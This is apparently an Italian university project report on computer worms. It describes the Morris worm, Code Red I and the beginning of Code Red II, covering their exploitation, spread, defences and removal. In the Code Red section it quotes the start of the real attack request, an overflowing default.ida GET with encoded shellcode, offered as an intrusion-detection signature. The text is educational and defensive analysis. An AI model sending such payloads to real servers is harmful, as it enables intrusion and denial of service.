Per maggiori dettagli
Transcript
Per maggiori dettagli
Università degli Studi di Salerno Dipartimento di Informatica Progetto per il corso di Cybersecurity I Worm Prof. Francesco Palmieri Studenti Alessandro Strino Giuseppe Pietravalle Giuseppe Santaniello Michele Roviello Anno Accademico 2015-2016 2 I Worm 20 febbraio 2016 2 Indice 1 Introduzione 5 2 Worm storici 2.1 Il Worm di Morris . . . . . . . . . . . . . . . . 2.1.1 Infezione e Diffusione . . . . . . . . . . 2.1.2 Analisi . . . . . . . . . . . . . . . . . . . 2.1.3 Difesa . . . . . . . . . . . . . . . . . . . 2.2 Code Red I . . . . . . . . . . . . . . . . . . . . 2.2.1 Vulnerabilità sfruttata . . . . . . . . . . 2.2.2 Azione del worm . . . . . . . . . . . . . 2.2.3 Prevenzione e rimozione . . . . . . . . . 2.2.4 Statistiche . . . . . . . . . . . . . . . . . 2.3 Code Red II . . . . . . . . . . . . . . . . . . . . 2.3.1 Azione del worm . . . . . . . . . . . . . 2.3.2 Rimozione . . . . . . . . . . . . . . . . . 2.4 Slammer Worm . . . . . . . . . . . . . . . . . . 2.4.1 Descrizione . . . . . . . . . . . . . . . . 2.4.2 Pseudocodice . . . . . . . . . . . . . . . 2.4.3 Generatore di numeri pseudo-random . 2.4.4 Vulnerabilità dei sistemi colpiti . . . . . 2.4.5 Come vengono sfruttate le vulnerabilità 2.4.6 Impatto . . . . . . . . . . . . . . . . . . 2.4.7 Velocità di propagazione . . . . . . . . . 2.4.8 Difesa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 7 7 11 13 14 14 15 17 17 17 18 21 22 23 24 25 27 28 29 30 31 3 Modelli di diffusione 3.1 Il modello epidemico semplice (modello SI) 3.2 Il modello epidemico generale (modello SIR) 3.3 Il modello a due fattori . . . . . . . . . . . . 3.4 AAWP . . . . . . . . . . . . . . . . . . . . . 3.4.1 Descrizione . . . . . . . . . . . . . . 3.4.2 Analisi . . . . . . . . . . . . . . . . . 3.4.3 Confronti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 33 34 35 37 37 38 39 . . . . . . . . . . . . . . 4 Emulazione di un worm 41 4.1 Descrizione del worm . . . . . . . . . . . . . . . . . . . . . . . . . 41 4.1.1 Procedura d’infezione . . . . . . . . . . . . . . . . . . . . 41 4.2 Emulazione della propagazione del worm . . . . . . . . . . . . . . 44 3 4 INDICE 4.2.1 4.2.2 4.2.3 Preparazione dell’ambiente di test . . . . . . . . . . . . . Modalità di diffusione . . . . . . . . . . . . . . . . . . . . Risultati . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 45 45 5 Misure di sicurezza 47 6 Conclusioni 51 A Codice 55 Capitolo 1 Introduzione Nella sicurezza informatica il termine malware indica un qualsiasi software creato allo scopo di causare danni a un computer, ai dati degli utenti del computer, o a un sistema informatico su cui viene eseguito. La diffusione di tali software risulta in continuo aumento: si calcola che nel solo anno 2008 su Internet siano girati circa 15 milioni di malware, di cui quelli circolati tra i mesi di gennaio e agosto sono pari alla somma dei 17 anni precedenti; tali numeri sono destinati ad aumentare con l’espansione della Rete. Esistono diverse categorie di malware; una di queste è quella dei Worm. Un worm è un agente software auto-replicante opportunamente studiato per diffondersi attraverso la rete. È simile ad un virus ma, a differenza di questo, non necessita di legarsi ad altri eseguibili per diffondersi ma lo fa replicandosi direttamente su altri computer, ad esempio tramite e-mail o una rete di computer. Tipicamente un worm modifica il computer che infetta, in modo da venire eseguito ogni volta che si avvia la macchina e rimanere attivo finché non si spegne il computer o non si arresta il processo corrispondente. Il worm tenta di replicarsi sfruttando Internet in diverse maniere: spesso i mezzi di diffusione sono più di uno per uno stesso worm. Il mezzo più comune impiegato dai worm per diffondersi è la posta elettronica: il programma maligno ricerca indirizzi e-mail memorizzati nel computer ospite ed invia una copia di sé stesso come file allegato a tutti o parte degli indirizzi che è riuscito a raccogliere. I messaggi contenenti il worm utilizzano spesso tecniche di social engineering per indurre il destinatario ad aprire l’allegato, che spesso ha un nome che permette al worm di camuffarsi come file non eseguibile. Alcuni worm sfruttano dei bug di client di posta molto diffusi, come Microsoft Outlook Express, per eseguirsi automaticamente al momento della visualizzazione del messaggio e-mail. Tutti i worm più recenti effettuano la falsificazione dell’indirizzo mittente, creando un fastidioso effetto collaterale di proliferazione di messaggi: alcuni software antivirus, montati tipicamente sui server, respingono il messaggio infetto e notificano il fatto al mittente, ma dato che questo è falso tale notifica arriva ad un destinatario diverso da chi ha realmente inviato la mail e che nulla ha a che fare con l’invio del worm. Questi eseguibili maligni possono anche sfruttare i circuiti del file sharing per diffondersi. In questo caso si copiano tra i file condivisi dall’utente vittima, spacciandosi per programmi ambiti o per crack di programmi molto costosi o ricercati, in modo da indurre altri utenti a scaricarlo ed eseguirlo. La tipologia forse più subdola di worm sfrutta dei bug di alcuni software o sistemi operativi, in modo da diffondersi 5 6 CAPITOLO 1. INTRODUZIONE automaticamente a tutti i computer vulnerabili connessi in rete. Nel Capitolo 2 sono descritti alcuni dei worm più importanti soffermando l’attenzione sulle caratteristiche fondamentali e sulle tecniche di difesa e rimozione. Nel Capitolo 3 vengono descritti i modelli di diffusione dei worm conosciuti, effettuando anche dei confronti fra di loro. Nel Capitolo 4 si effettua una descrizione del worm creato, enunciando quali sono i passi di esecuzione e qual’è la tecnica di diffusione utilizzata. Infine nel capitolo 5 vengono descritte quali sono le misure di sicurezza per prevenire attacchi derivanti dalla diffusione di worm. Capitolo 2 Worm storici 2.1 Il Worm di Morris E’ stato uno dei primi worm nella storia dell’informatica e la sua diffusione è iniziata il 2 Novembre 1988. Il codice del virus è stato scritto da uno studente della Cornell University, Robert Tappan Morris, ed è stato lanciato dal laboratorio del MIT (Massachusetts Institute of Technology). Il Morris worm non fu scritto con lo scopo di provocare danni, ma per valutare le dimensioni di Internet, esso sfruttava alcune vulnerabilità di Unix come: sendmail, finger, rsh / rexec e password. Questo programma raccoglieva informazioni su l’host, la rete, gli utenti e poi irrompeva su altre macchine usando alcuni bug presenti sul software di rete. Dopo essere penetrato, il programma tentava di replicare se stesso e la replica a sua volta tentava di infettare altri sistemi. Sebbene il programma infettasse solo sistemi SUN 3 e computer VAX con varianti del sistema operativo BSD, il programma si diffuse con la stessa velocità con cui si diffuse la confusione e la costernazione dei system administrator e degli utenti che scoprirono che il loro sistema era stato invaso. Nonostante la debolezza della sicurezza di UNIX fosse nota da tempo, la portata dell’intrusione portò una grande sorpresa alla comunità scientifica. Il programma era misterioso per gli utenti dei siti sui quali compariva. Alcuni file non usuali venivano trovati nella directory /usr/tmp di alcune macchine, ed alcuni strani messaggi comparivano nei file di LOG di alcune utility come per esempio il programma per smistare la mail, sendmail. L’effetto più evidente, era che i sistemi diventavano sempre più carichi quando si lanciavano processi e l’infezione si replicava sempre più. Più passava il tempo e più queste macchine diventavano cosı̀ cariche che non erano in grado di continuare nessun processo: alcune macchine si bloccavano completamente quando il loro swap space o le process tables erano esauste. 2.1.1 Infezione e Diffusione Il Worm consiste di due parti: un programma principale, ed un programma di avvio o vettore. A questo punto, un Worm che gira su di un’altra macchina può: o aver avuto successo nello stabilire una shell sul nuovo host ed essersi connesso di nuovo alla macchina infettante attraverso una connessione TCP, oppure essersi connesso alla porta SMTP e stare trasmettendo delle istruzioni al programma sendmail. L’infezione procedeva nel seguente modo: veniva stabilito 7 8 CAPITOLO 2. WORM STORICI un socket sulla macchina infettante per connettersi al programma vettore (per esempio il socket numero 32341). Da un numero casuale veniva costruita una stringa di (challenge) sfida. Un altro numero casuale veniva usato per costruire un nome di file base. Il programma vettore installato ed eseguito in due differenti modi: • Attraverso una connessione TCP ad una shell, Figura 2.1 • Usando una connessione SMTP, Figura 2.2 Il programma vettore una volta connesso al Worm server, inviava la stringa di sfida (challenge string), e trasferiva tre file: una versione binaria del Worm per Sun 3, una verione binaria per VAX, ed il codice sorgente del programma vettore. Dopo che i file erano stati copiati, il programma vettore diventava una shell (attraverso la chiamata execl) con l’input e l’output connessi al Worm server. Il nuovo Worm sull’host infettato provvedeva a nascondere se stesso oscurando il suo vettore degli argomenti, cancellando la versione binaria di se stesso, e uccidendo il suo processo padre. Poi leggeva in memoria i file binari del Worm, crittografandoli dopo averli letti, e cancellandoli dal disco. In seguito, il nuovo Worm raccoglieva informazioni sulle interfacce di rete e sugli host che erano connessi alla macchina locale. Costruiva delle liste con queste informazioni in memoria, compreso informazioni sui nomi canonici e sui nomi e indirizzi alternativi delle macchine. Effettuava tali raccolte anche attraverso chiamate ioctl dirette, e lanciando il programma netstat con vari argomenti. Leggeva anche in vari file di sistema cercando nomi di host da aggiungere al suo database in memoria. Mischiava la lista cosı̀ costruita di host, e poi iniziava ad infettare alcuni di questi ultimi. Per le reti connesse direttamente, aveva creato una lista di possibili indirizzi numerici e da questi iniziava ad infettare gli host se esistevano. A seconda del tipo di host (gateway o rete locale), il Worm tentava di stabilire una connessione sulle porte telnet o rexec per determinarne la raggiungibilità prima di provare uno dei metodi di infezione. I tentativi di infezione procedevano su una delle seguenti strade: • rsh; • fingerd; • sendmail. L’attacco via rsh veniva tentato cercando di generare una shell remota invocando (in ordine di tentativo) /usr/ucb/rsh, /usr/bin/rsh, e /bin/rsh. Se si aveva successo, l’host veniva infettato come descritto in precedenza stabilendo un socket, attraverso una connessione TCP. L’attaco attraverso il finger daemon era leggermente più astuto. Veniva stabilita una connessione al daemon di finger sul server remoto e una stringa appositamente costruita di 536 byte veniva passata al daemon remoto, mandando in overflow il buffer di input e sovrascrivendo parti dello stack. Per le versioni standard di BSD che girano su computer VAX, l’overflow risultava nello stack frame di ritorno della routine main, in modo che l’indirizzo di ritorno dello stack frame puntava nel buffer dello stack. Le istruzioni che venivano scritte nello stack in quella locazione sono mostrate in Figura 2.4. Per cui, il codice eseguito quando la routine main cercava di ritornare era: execve (”/bin/sh”,0,0). Sui VAX, questo portava come conseguenza che il Worm 2.1. IL WORM DI MORRIS 9 Figura 2.1: Procedura tramite connessione TCP (le due linee che cominciano con cc venivano mandate su di una singola linea) Figura 2.2: Usando una connessione SMTP Figura 2.3: Questa figura mostra le istruzioni e i commenti per il buffer overflow allo stack. 10 CAPITOLO 2. WORM STORICI era connesso ad una shell remota attraverso una connessione TCP. Il Worm procedeva ad infettare l’host come già visto in precedenza in Figura 2.1. Sulle SUN, portava semplicemente ad un file di core visto che tale attacco non funzionava per le versioni di fingerd su SUN. Il Worm poi provava ad infettare un host remoto stabilendo una connessione sulla porta SMTP e spediva il codice di infezione come visto in Figura 2.2. Non venivano provati tutti i passi. Appena un metodo aveva successo, l’entrata dell’host nella lista interna era marcata, marcando l’host come infettato e non venivano provati altri metodi. A questo punto, il Worm entrava in una macchina a stati finiti composta da cinque stati. I primi quattro stati cercavano di penetrare nelle informazioni di account di un utente della macchina locale, il quinto stato, invece, era quello finale e veniva eseguito dopo che erano stati effettuati tutti i tentativi di rompere le password degli utenti. In quest’ultimo, il Worm ciclava all’infinito cercando di infettare gli host presenti nelle sue tavole locali e marcati come non ancora infettati. I primi 4 stati svolgevano il seguente lavoro: 1. Il Worm leggeva nei file /etc/hosts.equiv e /.rhosts per cercare i nomi degli host equivalenti. Tali host venivano marcati come equivalenti nella tavola interna degli host (in memoria). Dopo, il Worm leggeva il file /etc/passwd in una struttura dati interna. Mentre stava facendo ciò, esaminava anche il file .forward nella home directory di ciscun utente ed includeva gli eventuali host trovati nella sua lista interna di host da provare. Stranamente, non faceva un controllo simile per i file .rhosts di ciascun utente. 2. Il Worm cercava di rompere la password di un utente usando delle scelte semplici. Per prima cosa controllava il caso banale in cui la password non era presente. Poi, come password usava il nome di account. Da test effettuati si vede che password di questo tipo vengono scelte dal 30% degli utenti. 3. Il terzo stato nel processo di rompere la password di un utente era quello di provare usando un dizionario interno composto di 432 parole, scegliendo a caso un account. 4. Si entrava nel quarto stadio solo se tutti gli altri tentativi fallivano. Per ogni parola nel file /usr/dict/words, il Worm tentava la ricerca di una eventuale password. In più se la parola nel dizionario cominciava con una maiuscola, tale lettera veniva convertita in minuscolo e veniva testata anche la nuova parola. Quando per un account era stata rotta una password, il Worm tentava di penetrare nelle macchine remote dove lo stesso utente aveva un account. A questo punto il Worm scandiva i file .forward e .rhosts alla ricerca dei nomi degli host remoti sui quali si supponeva che l’utente locale avesse un’altro account. Poi provava con due tipi di attacchi: 1. Come prima cosa cercava di creare una shell remota usando il servizio rexec. Il tentativo veniva fatto tentando il nome dell’account presente nei file .forward e .rhosts e la password dell’utente sull’host locale. Tutto ciò sfruttando il fatto che gli utenti usano spesso la stessa password per il loro account su più macchine. 2.1. IL WORM DI MORRIS 11 2. Effettuava una rexec all’host corrente (usando il nome di account e la password locali) e tentava un comando rsh all’host remoto usando il nome di account preso dal file. Questo attacco aveva successo in tutti quei casi in cui la macchina remota aveva il file /etc/hosts.equiv o l’utente aveva un file .rhosts che permetteva l’esecuzione remota senza password. Se la shell remota veniva creata in uno di questi due modi, allora l’attacco continuava come ai passi visti in precedenza Figura 2.2. Non veniva fatto nessun altro uso delle password degli utenti che erano state rotte. Attraverso l’esecuzione del loop principale, il Worm controllava la presenza di altri Worm che giravano sulla stessa macchina. Per fare questo il Worm cercava di connettersi ad un altro Worm su di un predeterminato socket TCP locale. Se tale connessione aveva successo, un Worm settava (a caso) la sua variabile interna pleasequit a 1, in modo da causarne la morte dopo avergli fatto raggiungere la parte interna del terzo stato dei cinque. Questo ritardo spiegava in parte il motivo per cui molti sistemi avevano copie multiple del Worm che giravano nello stesso momento. Un Worm su sette diventava immortale invece di controllare la presenza di altri Worm sul sistema locale. Ciò veniva fatto probabilmente per scavalcare eventuali tentativi di vaccinare un sistema facendo girare un processo fittizio che simulasse la presenza del Worm in attesa su di una connessione TCP sulla porta predefinita. Tutto questo contribuiva anche ad aumentare il carico della macchina una volta infettata. Il Worm cercava di inviare un pacchetto UDP all’host ernie.berkeley.edu approssimativamente una volta ogni 15 infezioni. Il codice per fare ciò era sbagliato, per cui, nessuna informazione veniva inviata. Lo scopo di tale informazione eventualmente inviata non è noto, ma si pensa che l’autore del Worm avesse voluto monitorare la diffusione del Worm dall’host ernie (eventualmente rompendo un account su quella macchina) con un programma che testasse l’invio di pacchetti UDP su tale porta. In ogni caso a Berkeley non sono state trovate tracce di un eventuale programma, e quindi si pensa che tutto ciò sia stato fatto solo per far ricadere eventuali falsi sospetti sul personale di Berkeley. Il Worm cercava anche di forkare se stesso ad intervalli regolari e di killare il suo processo padre. Lo scopo di ciò era duplice. Per primo, siccome il Worm cambiava ripetutamente il suo process id non avrebbe mai accumulato un CPU Time eccessivo da poter essere notato dagli strumenti classici di system administration. In secondo luogo, i processi che stanno girando da molto tempo su di un sistema vengono abbassati di priorità dallo scheduler del sistema operativo. Effettuando una fork il nuovo processo riguadagnerà nuovamente una priorità di scheduling normale. Questo meccanismo non funzionava correttamente, ed infatti, sono state notate istanze del Worm che avevano accumulato più di 600 secondi di CPU Time. Se il Worm girava per più di 12 ore, allora scaricava dalla sua lista host di tutti gli host marcati come immuni o come già infettati. Il modo in cui gli host venivano aggiunti a questa lista portava come conseguenza che un Worm poteva reinfettare una stessa macchina ogni 12 ore. 2.1.2 Analisi Quando il Worm inizia l’esecuzione nel main(), si preoccupa di fare alcune inizializzazioni, alcune difese ed alcune pulizie. La prima cosa che fa è cambiare il suo nome in sh. Ciò riduce la finestra di tempo durante la quale il processo 12 CAPITOLO 2. WORM STORICI Figura 2.4: Questa figura mostra lo preusdo codice in C per il Worm di Morris rimane visibile con un nome strano del tipo x9834753. A questo punto inizializza un numero casuale utilizzando l’orario di sistema corrente, disabilita il dump del core, e si prepara a morire quando la connessione remota fallisce. Una volta fatto tutto ciò processa la sua lista di parametri. Come prima cosa cerca l’opzione -p $$, dove $$ rappresenta il process ID del processo padre; questa opzione dice al Worm che in seguito si suiciderà. Procede poi a leggere in memoria gli altri file che sono passati come argomento; li rimuove dal disco non appena li ha letti. Se il Worm non trova il sorgente del programma vettore come argomento esce silenziosamente; ciò viene fatto probabilmente per frenare eventuali analisi del Worm da terze persone. Nella fase di pulizia come prima cosa chiude i suoi file descriptor, tagliandosi fuori temporaneamente dal Worm genitore sull’host remoto, e cancellando alcuni file. Il Worm azzera la sua lista degli argomenti, per ingannare il programma ps. Il prossimo passo è quello di inizializzare la lista interna delle interfacce di rete; tali interfacce verranno usate per testare le reti locali e trovare nomi alternativi per l’indirizzo dell’host corrente. Infine, il Worm resetta il suo process group e killa il processo che lo aveva aiutato a bootstrapare. L’ultima azione del Worm nel main è quella di chiamare una funzione di nome doit(), che contiene il loop principale del Worm stesso. doit() fà girare un piccolo prologo prima di entrare effettivamente nel ciclo principale. Inizializza (in modo ridondante) un generatore di numeri casuali con l’orario corrente, conservandosi l’orario in modo da poter testare da quanto tempo sta girando. Il Worm poi tenta la sua prima infezione. Come prima cosa attacca i gateway che aveva trovato con il programma netstat; se non può infettare nessuno di questi host, allora prova a caso degli host sulla rete locale, poi prova a caso degli host che non sono tanto lontani dall’host gateway, in ogni caso fermandosi se avrà successo. Dopo questo tentativo iniziale di infezione, il Worm chiama la routine checkother() per controllare la presenza di un altro Worm sulla stessa macchina locale. In questo controllo il Worm si comporta come un client verso un Worm esistente che si comporta come un server; si scambiano a questo punto un messaggio sul population control, dopo del quale, eventualmente, uno 2.1. IL WORM DI MORRIS 13 dei due Worm va in shutdown. Appena prima di entrare nel loop principale il Worm chiama una strana routine. Tale routine viene chiamata send message(), ma in realtà non invia niente. Pare che il suo scopo fosse quello di mandare un datagram di 1 byte ogni 15 copie del Worm ad un porta ben definita dell’host ernie.berkeley.edu (come già detto in precedenza). Il loop principale comincia con una chiamata alla funzione cracksome() per effettuare alcune operazione di password cracking. La password cracking è un’attività che il Worm svolge in modo costantemente crescente. Fa una pausa di 30 secondi alla ricerca di eventuali altre copie del Worm che stessero cercando di penetrare sull’host locale, e poi ritorna alla fase di cracking. Dopo questa parte, effetua una fork (crea un nuovo processo che gira con una copia della stessa immagine di codice eseguibile) e fà terminare il vecchio processo. A questo punto il Worm ritorna alla sua fase infettiva, tentando (in ordine di precedenza) con i gateway, gli host elencati nel file /etc/hosts.equiv, numeri di host scelti a caso dall’altro lato dei gateway e numeri di host scelti a caso sulla rete locale. Come prima, anche ora, non appena si ha successo nell’infettare un nuovo host, lo si marca come infettato nella lista interna degli host e si lascia la fase di infezione, per ritornarci in seguito. Dopo l’infezione il Worm si ferma per due minuti cercando nuovamente altre copie di se stesso sulla macchina locale; tutto ciò viene rifatto perché un host remoto protrebbe aver cercato nuovamente di infettare la macchina locale. Se sono trascorse 12 ore ed il Worm è ancora vivo, allora si suppone che la scelta degli host da infettare da parte del Worm sia stata sfortunata, e quindi si procede a ri-inizializzare la tabella degli host da infettare. Alla fine del loop principale il Worm controlla sia se lui stesso era stato schedulato a morire, e sia se avesse effettuato una quantità di lavoro sufficiente nella fase di password cracking. Se le due condizioni si verificano entrambe, allora termina l’esecuzione. 2.1.3 Difesa Ci furono molti tentativi per fermare il Worm. Tali tentativ variavano a seconda delle inconvenienze che avevano gli utenti finali sui sistemi attaccati, al grado di competenza necessario per implementare tali difese, alla loro effettiva efficienza. • L’isolamento completo dalla rete fu spesso un inconveniente, ma fu molto efficace nel fermare il Worm, ed in più era semplice da implementare. • Disabilitare il servizio di mail era sconveniente sia per gli utenti locali che per quelli remoti; era inefficace per fermare il Worm, ma era semplice da implementare. • Patchare il comando DEBUG in sendmail era efficace solo se accompagnato da altri bug-fixes, non interferiva con gli utenti normali, ed erano disponibili semplici istruzioni per implementarlo. • Buttare giù il finger daemon era efficace solo se accompagnato dalla rimozione degli altri bug; poteva non dar fastidio agli utenti, ma era realizzabile semplicemente. • Sistemare il finger daemon richiedeva il codice sorgente, ma era efficace come buttarlo giù, senza dare fastidio agli utenti. • mkdir /usr/tmp/sh era conveniente, semplice, ed efficace nel prevenire la propagazione del Worm. 14 CAPITOLO 2. WORM STORICI • Definire pleasequit nella libreria di sistema era conveniente, semplice, e faceva molto per fermare il Worm. • Rinominare il compilatore ed il linker di UNIX (cc e ld) era una misura drastica, e qualche volta sconveniente per gli utenti, ma efficace nel fermare il Worm. Dopo che il Worm fu analizzato, fu reso disponibile su Internet un tool che duplicava l’attacco sulle password (incluso il dizionario che si trovava nel Worm). La diffusione del Worm dovrebbe aver aumentato la consapevolezza degli utenti (e dei system administator) che scegliere una password difficile fosse una cosa buona e giusta. 2.2 Code Red I Il Code Red è un virus informatico scoperto la prima volta il 13 luglio 2001 e che ha avuto la massima espansione il 19 luglio dello stesso anno, infettando 359000 server. Il virus attaccava computer basati sul sistema Microsoft IIS web server. Il virus Code Red è stato scoperto e studiato da Marc Maiffret e Ryan Permeh, due dipendenti della eEye Digital Security. Il nome ”Red Code” proviene da quello della bibita che stavano bevendo durante la scoperta: il Code Red Mountain Dew. Code Red si insinuava soltanto sui computer che utilizzavano i sistemi operativi Windows NT o Windows 2000, sfruttando una falla di sicurezza del software IIS Web Server della Microsoft. Spegnere e riaccendere il computer era sufficiente a rimuovere il virus, ma in molti casi il riavvio di un server risultava essere molto dannoso, in quanto comportava la perdita di dati importanti e quindi di denaro. Nei paragrafi successivi verrà descritto in dettaglio Code Red, sottolineando la vulnerabilità che esso sfruttava, il suo comportamento, i metodi di rimozione, e presentando delle statistiche in merito alla sua diffusione. Inoltre, verrà introdotto anche Code Red II, un altro worm che sfruttava la stessa vulnerabilità di Code Red. 2.2.1 Vulnerabilità sfruttata Il 18 Giugno 2001, la eEye Digital Security ha riportato l’esistenza di una vulnerabilità di buffer overflow remoto in tutte le versioni del software IIS Web Server. L’installazione dell’Internet Information Server include per default numerose estensioni Internet Service API (ISAPI) o librerie dinamicamente linkate (DLL); tra queste ultime è presente il file IDQ.DLL che è una componente dell’Index Server (conosciuto come Indexing Service in Windows 2000) e fornisce supporti per script amministrativi (file .IDA) e Internet Data Queries (file .IDQ). L’Indexing Server 2.0 e gli Indexing Services forniscono una ricerca completa del testo e un servizio di indicizzazione per cercare dati su un server web o su un sito. La vulnerabilità della sicurezza fu scoperta proprio in IDQ.DLL. Il filtro ISAPI non eseguiva un adeguato bounds checking, cioè un controllo dei limiti sui buffer di input dell’utente. Un host remoto che si connette al server può iniziare un attacco che porterà all’overflow del buffer. Ciò causerà sia un Denial of Service sul server, oppure introdurrà su di esso del codice malizioso. Tale 2.2. CODE RED I 15 codice, che gira nel contesto di sicurezza locale del sistema, fornirà all’attaccante il completo controllo del server, abilitandolo virtualmente ad effettuare qualsiasi operazione su di esso, incluso il cambio di pagine web, la formattazione dell’hard disk e l’aggiunta di nuovi utenti al gruppo locale degli amministratori. L’Index Service ISAPI si poteva trovare sui seguenti sistemi: • Microsoft Windows NT 4.0 IIS Services 4.0; • Microsoft Windows 2000 IIS Services 5.0; • Microsoft Windows XP beta IIS Services 6.0 beta. Sono state individuate due versioni di Code Red, che differiscono solamente nel modo in cui sono generati gli indirizzi IP delle macchine da infettare (di cui si parlerà in seguito). Siccome il worm risiedeva solo in memoria, non era possibile trovare un file o qualsiasi altra traccia sul disco che indicasse la sua presenza. Tuttavia, era possibile rilevare Code Red controllando il carico di lavoro della CPU del server colpito e l’elevato numero di connessioni esterne sulla porta 80 verso altre macchine. Si può verificare quali connessioni esterne il sistema ha attualmente aperto eseguendo il seguente comando: netstat –a Se si usa un sistema di rilevamento di intrusioni, questo dovrebbe essere capace di rilevare gli attacchi del worm. L’inizio del pacchetto d’attacco appare come segue: GET/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858 %ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090 %u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff %u0078%u0000%u00=a 2.2.2 Azione del worm Il worm tentava di connettersi alla porta 80 TCP di un host scelto a caso, assumendo che il server web fosse in esecuzione su tale porta. Dopo essersi connesso con successo, l’host attaccante mandava una richiesta di HTTP GET alla vittima. Tale richiesta sfruttava la vulnerabilità di buffer overflow causando l’esecuzione su tale sistema del worm, il quale non risiedeva sul disco, ma era inserito (ed eseguito) direttamente in memoria. Altri 99 thread venivano creati a partire dal thread originale. Questi ultimi tentavano di diffondere il worm (infettando altri server web) mirando ad indirizzi IP casuali, se la data era precedente al 20 del mese (fase di propagazione). Il generatore di indirizzi IP veniva inizializzato, nel caso della prima versione di Code Red (Code Red v1 ), con lo stesso seme, in modo che la lista di macchine attaccate dal worm fosse identica per ogni copia del worm; nel caso della seconda versione di Code Red (Code Red v2 ) il generatore era invece inizializzato ogni volta con un seme 16 CAPITOLO 2. WORM STORICI Figura 2.5: Pagina web mostrata da Code Red diverso. Il risultato è che le macchine i cui indirizzi IP sono in cima alla lista saranno ripetutamente ”sondate” da ogni thread del worm in esecuzione su ogni macchina infettata, creando cosı̀ un effettivo attacco di tipo Denial of Service. Inoltre, i sistemi vulnerabili possono essere compromessi più volte, ottenendo come risultato l’esistenza di numerose istanze del worm in esecuzione su di essi, ognuna con un massimo di 100 thread separati. Dopo ogni attacco, il worm controllava di nuovo la data e decideva se attaccare un’altra macchina oppure il sito www.whitehouse.gov. Il 100◦ thread del codice del worm effettuava un controllo sul linguaggio di default del sistema: • Se era U.S. English, inizialmente il thread ”dormiva” per 2 ore e poi ”lanciava” una funzione che intercettava le richieste HTTP e rispondeva ad esse restituendo non la pagina richiesta bensı̀ la pagina web mostrata in figura 2.5. Questi cambiamenti nella homepage erano provocati solo dal codice in memoria ma non si ripercuotevano sui file sul disco: le pagine web del sito attaccato non venivano pertanto modificate. • Se non era U.S. English, il 100◦ thread tentava semplicemente di infettare altri sistemi. Una volta in esecuzione, ogni thread del worm cercava il file C:\NOTWORM : se veniva trovato, il thread andava in una sleep infinita, altrimenti tentava di infettare altri sistemi creando nuovi thread. Molto probabilmente ciò è servito al creatore del worm per evitare che questo infettasse la propria macchina. Se la data del sistema attaccato era il 20 del mese, i thread attivi tentavano un attacco di tipo Denial Of Service sull’indirizzo IP 198.137.240.91 (www.whitehouse.gov ) inviando una grande quantità di dati ”spazzatura”, 98304 pacchetti, alla porta 80 per un totale di circa 410 megabyte ogni quattro ore e mezza per ogni istanza del worm (fase di flooding). Se la data era successiva al 20, i thread del worm erano indotti ad una sleep infinita (fase di terminazione). 2.3. CODE RED II 2.2.3 17 Prevenzione e rimozione L’utilizzo di un normale programma antivirus non si è rivelata una soluzione efficace per rilevare e rimuovere questo worm poiché, come già detto, esso era presente solo nella memoria di un sistema e non scriveva sul disco. Erano però disponibili in Internet alcune applicazioni gratuite per controllare se l’IIS fosse vulnerabile: un esempio è il programma FixCodeRed della Symantec che metteva in guardia contro la vulnerabilità dei sistemi ed effettuava una scansione della memoria per rilevare tracce di Code Red. Un programma simile è CodeRed Scanner della eEye Digital Security. Un normale reboot del server rimuoveva il worm e ripristinava il sistema. Comunque, a causa del gran numero di sistemi infettati e poiché le istanze del worm potevano attaccare nuovamente la stessa lista di indirizzi IP, c’era un’alta probabilità che un sistema veniva reinfettato non appena terminata la fase di riavvio. Pertanto, per proteggere il sistema era di vitale importanza applicare la patch proposta dalla Microsoft. 2.2.4 Statistiche Il 19 luglio 2001 più di 359.000 computer sono stati infettati da Code Red in meno di 14 ore. Al culmine del processo di infezione, sono stati colpiti più di 2000 host al minuto, il 43% dei quali si trovavano negli USA, l’11% in Corea, il 5% in Cina e il 4% in Taiwan. Inoltre di tutte le macchine compromesse, il 19% apparteneva al Top Level Domain (TLD) .NET, il 14% al .COM, il 2% al .EDU e lo 0,05% al .GOV. Intorno alle 10:00 UTC (Coordinated Universal Time) del 19 Luglio 2001, Code Red II ha iniziato ad infettare host su cui giravano versioni non ”patchate” di Microsoft IIS Web Server. 2.3 Code Red II A partire dal 4 agosto 2001 un nuovo worm ha cominciato a sfruttare la vulnerabilità da buffer overflow nei server IIS di Microsoft. Nonostante quest’ultimo non avesse alcuna relazione col Code Red originario, il suo codice sorgente conteneva la stringa ”Code Red II”: da qui la scelta del nome. L’unica analogia col fratello minore Code Red la si riscontra nel meccanismo di infezione: Code Red II colpiva sistemi su cui girava la versione 2.0 dell’Index Server sfruttando una vulnerabilità presente nell’ISAPI. In pratica, il worm, installandosi dapprima su un web server a caso, riusciva a prendere il controllo di altri tramite una richiesta HTTP che causava un buffer overflow nel file IDQ.DLL. Diversamente da Code Red I, la sua seconda versione non risiedeva solamente in memoria (cosicchè il semplice reboot della macchina non comportava l’eliminazione del virus), non attuava un ”defacement” del sito né tantomeno un attacco Denial of Service, bensı̀ si occupava di installare una backdoor nella macchina infettata che forniva, all’hacker che ne aveva il controllo, un meccanismo per ottenere accesso a distanza con privilegi di root (che permette quindi l’esecuzione di qualsiasi tipo di codice). Code Red II inviava durante il suo attacco una richiesta avente un’header molto simile a quella del suo predecessore: 18 CAPITOLO 2. WORM STORICI /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 